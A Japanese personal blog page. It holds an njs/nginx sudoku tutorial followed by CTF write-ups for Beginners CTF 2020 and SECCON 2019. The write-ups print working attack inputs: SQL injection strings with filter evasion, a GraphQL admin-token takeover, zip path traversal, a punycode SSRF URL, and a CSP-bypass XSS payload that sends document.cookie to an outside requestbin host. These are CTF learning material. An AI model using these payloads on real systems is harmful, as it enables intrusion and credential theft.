眠気

戯言とメモ

njsを使ってnginxで数独をする

njs

この記事はkb Advent Calendar 2020 12日目の記事です。 https://adventar.org/calendars/5280

軽く動的なサーバサイドのコードを動かしたいけど、サーバーを立ち上げるのにnodejsをインストールしてデーモン化とか面倒… とはいえphp/php-fpmで書くのもな…

そういうときにもしかすると便利かもしれないのがnjsです。

njsはnginx上で ECMAScript5.1 相当のJavascriptを動かすことが出来るサブセットで、 modules/ngx_http_js_module.so をload_moduleすることで使用する事ができます。

使い方は簡単、

  1. 動かしたいjavascriptのコードを用意し、
  2. nginx.conf にload_module modules/ngx_http_js_module.so; を追加
  3. httpモジュール内で js_include [jsファイルパス]; で呼び出す
  4. location モジュール内で js_content [includeしたjsファイル内のfuction]; で該当のfunctionを呼び出す。

以上です。

Hello World

使い方を見ていきます。

├── Dockerfile
├── nginx.conf
└── src
    └── hello_world.js

上記の構成で hello_world.js を作成します。

hello_world.js

function hello(r) {
    r.return(200, "Hello world!");
}

function params(r) {
    var h = r.headersIn["test"];
    r.headersOut['test'] = "[header]Hello " + h;
    r.status = 200;
    r.contentType = 'text/plain';
    r.sendHeader();
    var b = r.args["test"];
    var msg = '[body]Hello '+ b;
    r.send(msg);
    r.finish();
}

helloは Hello world! を出力し、 params はリクエストパラメータを読み取り、Helloのあとにつけてレスポンスを行うfunctionです。

nginx.conf

worker_processes  1;
load_module modules/ngx_http_js_module.so;

events {
    worker_connections  1024;
}
http {
    js_include src/hello_world.js;

    server {
        server_name _;

        location = /favicon.ico { access_log off; log_not_found off; }

        location /hello {
            js_content hello;
        }

        location /params {
            js_content params;
        }
    }
}

nginx.conf で先程作成したjsをimportし、実行したいlocation内でjs_contentとfunction名を指定します。

今回はDocker内で実行させるため、以下の様なDockerfileを書きます。

Dockerfile

FROM nginx:latest
COPY nginx.conf   /etc/nginx/nginx.conf
COPY src /etc/nginx/src
EXPOSE 80

あとはbuild/runしてnginxを起動します。

$ docker build . -t docker-njs && docker run -p 80:80 -it docker-njs

curlでアクセスしてみると動作してることがわかります。

$ curl localhost/hello
Hello world!

$ curl -v -H test:fuga "localhost/params?test=hoge"
*   Trying ::1...
* TCP_NODELAY set
* Connected to localhost (::1) port 80 (#0)
> GET /params?test=hoge HTTP/1.1
> Host: localhost
> User-Agent: curl/7.64.1
> Accept: */*
> test:fuga
>
< HTTP/1.1 200 OK
< Server: nginx/1.19.5
< Date: Tue, 15 Dec 2020 15:39:14 GMT
< Content-Type: text/plain
< Transfer-Encoding: chunked
< Connection: keep-alive
< test: [header]Hello fuga
<
* Connection #0 to host localhost left intact
[body]Hello hoge* Closing connection 0

数独を動かす

やはり動的なコンテンツを出力するのであればオウム返しでは物足りないので、何か便利なサービスを動かしたいです。自分は数独がとても苦手なのですが、数独を出題してくれるやつを動かしてみます。

とはいえこの記事は数独アルゴリズムを解説する記事ではないので、すでにあるものを持ってきて使います。

探すとsudoku.jsなるものがあったので、これをそのまま使ってみます。

sudoku.js の使い方は簡単で、jsを読み込むだけで

  • sudoku.generate()数独の生成
  • sudoku.solve()数独の解答

を行えるようです。

ここで、njsはjs_importを用いることでesmoduleのimport/exportのような機能を使うことが出来るのですが、js_importjs_includeを同時に使うことが出来ないため、どちらかに統一する必要があります。

ここで、sudoku.jsがあまりexportしやすい作りになっておらず、sudoku.jsの1ファイルのみをjs_importでimportする方向にします。

curl https://raw.githubusercontent.com/robatron/sudoku.js/master/sudoku.js > src/sudoku.js

sudoku.jsを落としてきて、以下のようなpatchを書きます。

sudoku.js自体はconsole.log が無いためreturnに変更した部分以外は基本的に変更せず、generate()とsolve()を追加します。

sudoku.js.patch

diff --git a/sudoku/src/sudoku.js b/sudoku/src/sudoku.js
index 65039da..46a5f70 100644
--- a/sudoku/src/sudoku.js
+++ b/sudoku/src/sudoku.js
@@ -670,7 +670,7 @@
             }
         }

-        console.log(display_string);
+        return (display_string);
     };

     sudoku.validate_board = function(board){
@@ -804,4 +804,30 @@
     initialize();

 // Pass whatever the root object is, lsike 'window' in browsers
-})(this);
\ No newline at end of file
+})(this);
+
+function generate(r) {
+    var level = "easy";
+    switch (r.args["level"]) {
+        case 'easy':
+            level = "easy";
+            break;
+        case 'medium':
+            level = "medium";
+            break;
+        case 'hard':
+            level = "hard";
+            break;
+
+    }
+
+    var q = sudoku.generate(level);
+    var v = sudoku.print_board(q);
+
+    r.return(200, q + '\n\n' + v );
+}
+
+function solve(r) {
+    var q = r.args["q"]
+    r.return(200, sudoku.print_board(sudoku.solve(q)));
+}
\ No newline at end of file

上記のpatchを適用してnginx.confを記述し、nginxを起動させます。

worker_processes  1;
load_module modules/ngx_http_js_module.so;

events {
    worker_connections  1024;
}
http {
    js_include src/sudoku.js;

    server {
        server_name _;

        location = /favicon.ico { access_log off; log_not_found off; }

        location /generate {
            js_content generate;
        }
        location /solve {
            js_content solve;
        }
    }
}
$ patch -u src/sudoku.js < sudoku.js.patch
$ docker build . -t docker-njs && docker run -p 80:80 -it docker-njs

クエリパラメータにlevelを入れることでレベルが変えられているかを確認してみます。

$ curl "http://localhost/generate?level=easy"
7.193.8.42834.59679..768.323.5.46791.16.9728387.3216.56.8...51.192.53478547189326

7 . 1   9 3 .   8 . 4
2 8 3   4 . 5   9 6 7
9 . .   7 6 8   . 3 2

3 . 5   . 4 6   7 9 1
. 1 6   . 9 7   2 8 3
8 7 .   3 2 1   6 . 5

6 . 8   . . .   5 1 .
1 9 2   . 5 3   4 7 8
5 4 7   1 8 9   3 2 6
$ curl "http://localhost/generate?level=hard"
.2..9..5..7...4..9.59......71298.46.936.4....8451...9.5648293713874..9262917.....

. 2 .   . 9 .   . 5 .
. 7 .   . . 4   . . 9
. 5 9   . . .   . . .

7 1 2   9 8 .   4 6 .
9 3 6   . 4 .   . . .
8 4 5   1 . .   . 9 .

5 6 4   8 2 9   3 7 1
3 8 7   4 . .   9 2 6
2 9 1   7 . .   . . .

以上、generateが実行され、数独が生成されています。

github.com

ちなみに、ドキュメントにはtypescriptをnjsに変換して使う方法なども載っているので、多少ちゃんと使う方法もあるのではないかなと思われます。

参考:

Beginners CTF 2020 writeup

1日目にwebだけ参加していました。

Spy

dbに存在するアカウント名を当てる問題。 hashの計算をしているみたいだったので、length extensionか何かかなと思い放置していたらチームの人が解いてくれてました。 アカウントが存在する場合の方がhashの計算に時間がかかるので、それで推測する問題だったようです。


Tweetstore

SQL Injectionの問題。 FLAGはDBのユーザーらしい。

dbuser := os.Getenv("FLAG")
type Tweets struct {
    Url        string
    Text       string
    Tweeted_at time.Time
}

var sql = "select url, text, tweeted_at from tweets"
search, ok := r.URL.Query()["search"]
if ok {
    sql += " where text like '%" + strings.Replace(search[0], "'", "\\'", -1) + "%'"
}

goのこの部分のsqlを組み立てている部分でなんとかする問題。

' union select 1,1,1 ; --' とかを入れるとエラーが出て(おそらくrows.Scanの型変換の部分)、クォートが使えないので文字列やTimeを作るのが少し面倒だった。concatとnowでなんとかなった。postgressqlなので getpgusername() とかでユーザー名が取れる。

'+or+1=1+union+select+concat(1),+getpgusername(),+now()+;+--'

unzip

phpのZipArchiveでzipを解凍するサービス。 unzipしたものを /uploads 以下に配置してくれるので、zipのファイルパスをいじってディレクトリトラバーサルが可能。 ただflagの位置が分からず、phpのファイルを置いて実行させるのも難しそうだったので放置していたら、ヒントでdocker-compose.ymlファイルが貰えたので以下でファイルパスをrootにしたらflag.txtが見れた。

./evilarc.py flag.txt  -d 10  -o "unix"

https://github.com/ptoomey3/evilarc


profiler

graphqlの問題。

適当にユーザーを作成し、GetFlagを実行すると以下のように言われる。

get-graphql-schemaでschemaを取得すると以下のようなschemaが取得できる。

$ npm install -g get-graphql-schema
$ get-graphql-schema https://profiler.quals.beginners.seccon.jp/api

type Mutation {
  updateProfile(profile: String!, token: String!): Boolean!
  updateToken(token: String!): Boolean!
}

type Query {
  me: User!
  someone(uid: ID!): User
  flag: String!
}

type User {
  uid: ID!
  name: String!
  profile: String!
  token: String!
}

GraphiQLのHeaderにCookieを入れて、someone(uid: ID!): Userを実行してみる。

someone(uid: "admin") でadminのtokenが得られる。

{ 
    someone(uid: "admin") { 
        uid, 
        profile, 
            name,
        token,      
    }
}

{
  "data": {
    "someone": {
      "name": "admin",
      "profile": "Hello, I'm admin.",
      "token": "743fb96c5d6b65df30c25cefdab6758d7e1291a80434e0cdbb157363e1216a5b",
      "uid": "admin"
    }
  }
}

使われていない updateToken(token: String!): Boolean! でtokenをadminのものに変えて、 {flag} でflagが取れる。

mutation {
        updateToken(token: "743fb96c5d6b65df30c25cefdab6758d7e1291a80434e0cdbb157363e1216a5b")
}

{
  "data": {
    "updateToken": true
  }
}
{flag}

{
  "data": {
    "flag": "ctf4b{plz_d0_n07_4cc3p7_1n7r05p3c710n_qu3ry}"
  }
}

Somen

問題は以下の部分。

<?php
$nonce = base64_encode(random_bytes(20));
header("Content-Security-Policy: default-src 'none'; script-src 'nonce-${nonce}' 'strict-dynamic' 'sha256-nus+LGcHkEgf6BITG7CKrSgUIb1qMexlF8e5Iwx1L2A='");
?>

<head>
    <title>Best somen for <?= isset($_GET["username"]) ? $_GET["username"] : "You" ?></title>

    <script src="/security.js" integrity="sha256-nus+LGcHkEgf6BITG7CKrSgUIb1qMexlF8e5Iwx1L2A="></script>
    <script nonce="<?= $nonce ?>">
        const choice = l => l[Math.floor(Math.random() * l.length)];

        window.onload = () => {
            const username = new URL(location).searchParams.get("username");
            const adjective = choice(["Nagashi", "Hiyashi"]);
            if (username !== null)
                document.getElementById("message").innerHTML = `${username}, I recommend ${adjective} somen for you.`;
        }
    </script>
</head>

security.js は以下で、username似英数字以外が含まれているとerror.phpに飛ばされる。

console.log('!! security.js !!');
const username = new URL(location).searchParams.get("username");
if (username !== null && ! /^[a-zA-Z0-9]*$/.test(username)) {
    document.location = "/error.php";
}

とりあえず、titleタグを閉じ、以下のように中途半端なscriptタグを置くことでその次のsecurity.jsを呼ばないようにできる。

</title><script a

また、idがmessageのタグを作ることで任意の場所にusernameを入れることが出来る。

ab</title>cd<div id="message">ef</div><script a

scriptタグがbody以下移動してるのはdivタグをbodyに入れようとしたからだと思われる。divをscriptにして以下でalert()が実行される。

alert(1)//</title><script id="message"></script><script a

あとはcookieを送るだけ。

location.href=`http://requestbin.net/r/ryqf7zry?${document.cookie}`//</title>
<script id="message"></script><script a

SECCON 2019 Quals Write up

都内の温泉施設で参加してました。

あまり解けなかったのが残念でした。


Option-Cmd-U

punycodeをいい感じにする問題だと思い、punycodeについて調べていた。

<!-- src of this PHP script: /index.php?action=source -->
<!-- the flag is in /flag.php, which permits access only from internal network :-) -->
<!-- this service is running on php-fpm and nginx. see /docker-compose.yml -->

punycodeの仕様上ハイフンが入ってしまうため、flag.phpは難しそうだけれど、 上記のHTMLのコメント部分にある docker-compose.yml なら作れそうだったので、docker-compose.ymlをそれ経由で取得すれば何か得れるのではないか

と思ってやってました。特に何も得れなかったです。

ちなみに以下でpunycodeがdocker-compose.ymlに変換される。

http://c:b.d.wa@nизginижxе/docker.yml => http://c:b.d.wa@nginx/docker-compose.yml

その後チームの人が、ドットの位置でpunycodeの変換部分が変えられること、数字部分のみをポートとして解釈することを見つけてくれていたので、 また、ポートの部分を複数設定することで区切りに出来たため横取りみたいな形でフラグを取ってしまった

http://a:.@✊nginx:80.:/flag.php => http://a:.xn--@nginx:80-5s4f.:/flag.php

SECCON{what_a_easy_bypass_314208thg0n423g}


web_search

空白文字とカンマ、それと orand が制限されていた。

空白文字は /**/oroorrandaandnd に変換するようにすれば動くようになった。 そのあたりはスクリプトを作成してクエリを書くと楽だった。

$ web> cat try.sql
'union (select * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d);#'%                                                                                   
$ web> cat conv.sh
sed -e "s/or/oorr/g" | sed -e "s/and/aandnd/g" | sed -e "s/\ /\/\*\*\//g"
$ web> cat try.sql | ./conv.sh
'union/**/(select/**/*/**/FROM/**/(SELECT/**/1)a/**/JOIN/**/(SELECT/**/2)b/**/JOIN/**/(SELECT/**/3)c/**/JOIN/**/(SELECT/**/4)d);#'

' oorr/**/1 ;#' と入れるととりあえずFLAGの前半部分が取れる

FLAG
The flag is "SECCON{Yeah_Sqli_Success_" ... well, the rest of flag is in "flag" table. Try more!

カンマが使えないためunionでつなげるのが難しく、カラム名もinformation_schemaテーブルから取ろうかと思って奮闘したが取れなかったようだった。

selectを複数joinさせる形でカラム数が増やせたので、それでflagテーブルをjoinさせた。

'union (select * FROM (SELECT * from flag )a JOIN (SELECT 2)b JOIN (SELECT 3)c);#'

=> 'union/**/(select/**/*/**/FROM/**/(SELECT/**/*/**/from/**/flag/**/)a/**/JOIN/**/(SELECT/**/2)b/**/JOIN/**/(SELECT/**/3)c);#'

You_Win_Yeah}

疲れた際にいつでも温泉に入れるのは良かったけれど、多少ダレてしまうのがネックだった。